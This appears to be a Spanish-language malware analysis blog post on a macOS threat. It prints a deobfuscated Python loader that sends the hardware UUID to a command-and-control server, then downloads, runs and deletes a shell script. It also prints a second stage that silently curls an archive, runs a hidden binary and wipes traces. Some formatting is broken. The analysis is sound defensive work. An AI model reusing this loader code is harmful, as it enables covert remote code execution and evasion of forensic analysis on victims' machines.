Análisis forense de malware en macOS: Desofuscación y comportamiento

Simulación de la carga útil ofuscada

payload_codificado = 'eJyVV+lz4rgS...' codigo_fuente = zlib.decompress(base64.b64decode(payload_codificado)) exec codigo_fuente


</div>Para revelar el contenido real sin ejecutarlo, se modificó la instrucción `exec` por una llamada a `print`. Esto expuso una segunda capa de código, ahora en texto plano pero con identificadores de variables intencionalmente confusos. <div>### Nivel 2: Análisis de la lógica ofuscada

</div>El código resultante mezclaba variables de entorno, llamadas al sistema y operaciones con cadenas para dificultar el aálisis estático. Tras una refactorización manual para renombrar variables y limpiar la estructura, se reveló el flujo de trabajo del malware. El script utiliza el framework IOKit a través de PyObjC para obtener el UUID de la plataforma (IOPlatformUUID), un identificador único del hardware. Luego, establece una conexión con un servidor de Comando y Control (C&amp;C) para descargar y ejecutar un script secundario. <div>```
# -*- coding: utf-8 -*-
import time
import os
import sys
import platform
import urllib2
import shelve
import base64

# Carga de dependencias nativas de macOS
sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC')
import objc
from subprocess import Popen, PIPE
from Foundation import NSBundle

def cargar_funciones_io():
    bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
    funciones = [
        ("IOServiceGetMatchingService", b"II@"),
        ("IOServiceMatching", b"@*"),
        ("IORegistryEntryCreateCFProperty", b"@I@@I")
    ]
    objc.loadBundleFunctions(bundle, globals(), funciones)

def obtener_uuid_hardware():
    servicio = IOServiceMatching("IOPlatformExpertDevice")
    handle = IOServiceGetMatchingService(0, servicio)
    propiedad = IORegistryEntryCreateCFProperty(handle, "IOPlatformUUID", None, 0)
    return propiedad

class GestorMalware:
    def __init__(self):
        cargar_funciones_io()
        self.ruta_db = os.path.expanduser('~/Library/ApplicationSupport/config.db')
        self.ruta_script = '/tmp/update.sh'
        
        try:
            self.estado = shelve.DbfilenameShelf(self.ruta_db)
        except Exception:
            sys.exit(1)

    def verificar_tiempo_ejecucion(self):
        # Control de frecuencia: no ejecutar si ya se corrió en las últimas 23 horas
        ultimo_acceso = self.estado.get('timestamp', 0)
        if time.time() - float(ultimo_acceso) < 82800:
            return False
        self.estado['timestamp'] = time.time()
        return True

    def solicitar_carga_util(self):
        url_base = "http://i.swiftinstaller.top/c/ci"
        uuid = obtener_uuid_hardware()
        version_os = platform.mac_ver()[0]
        
        # Construcción de la petición con parámetros del sistema
        url_final = "{}?id={}&mvr={}&ct=clpy".format(url_base, uuid, version_os)
        
        try:
            req = urllib2.Request(url_final)
            respuesta = urllib2.urlopen(req).read()
            if len(respuesta) > 10:
                self.ejecutar_script(respuesta)
        except Exception:
            pass

    def ejecutar_script(self, contenido):
        # Escritura del script en disco
        with open(self.ruta_script, 'w') as f:
            f.write(contenido)
        
        # Ejecución subproceso
        proc = Popen(['/bin/sh', self.ruta_script], stdin=PIPE, stdout=PIPE, stderr=PIPE)
        proc.communicate()
        
        # Limpieza de evidencia
        time.sleep(2)
        os.remove(self.ruta_script)

    def correr(self):
        self.solicitar_carga_util()
        self.estado.close()

if __name__ == '__main__':
    bot = GestorMalware()
    bot.correr()

RECURSO_URL="http://www.qaeqxa.pw/static/s3/exec6625/exec.tgz" DIR_TEMPORAL="/var/tmp/.hidden_cache"

Descarga silenciosa del archivo comprimido

/usr/bin/curl -s -L -o "${DIR_TEMPORAL}.tgz" "$RECURSO_URL"

Descompresión y ejecución

mkdir -p "$DIR_TEMPORAL" tar -xzf "${DIR_TEMPORAL}.tgz" -C "$DIR_TEMPORAL/" cd "$DIR_TEMPORAL/" ./xSf

Función de autodestrucción retardada (120 segundos)

func_limpiar() { sleep 120 rm -rf "$DIR_TEMPORAL" rm -f "${DIR_TEMPORAL}.tgz" } func_limpiar &


</div>El script descarga un archivo comprimido (exec.tgz), lo extrae en un directorio temporal oculto y ejecuta un binario compilado llamado `xSf`. Finalmente, programa una tarea en segundo plano para eliminar todos los rastros del sistema de archivos después de dos minutos, lo que dificulta el análisis forense una vez que la infección ha prosperado.</div>

Etiquetas: malware-analysis Python Reverse-Engineering macos security

Publicado el 8-9 06:39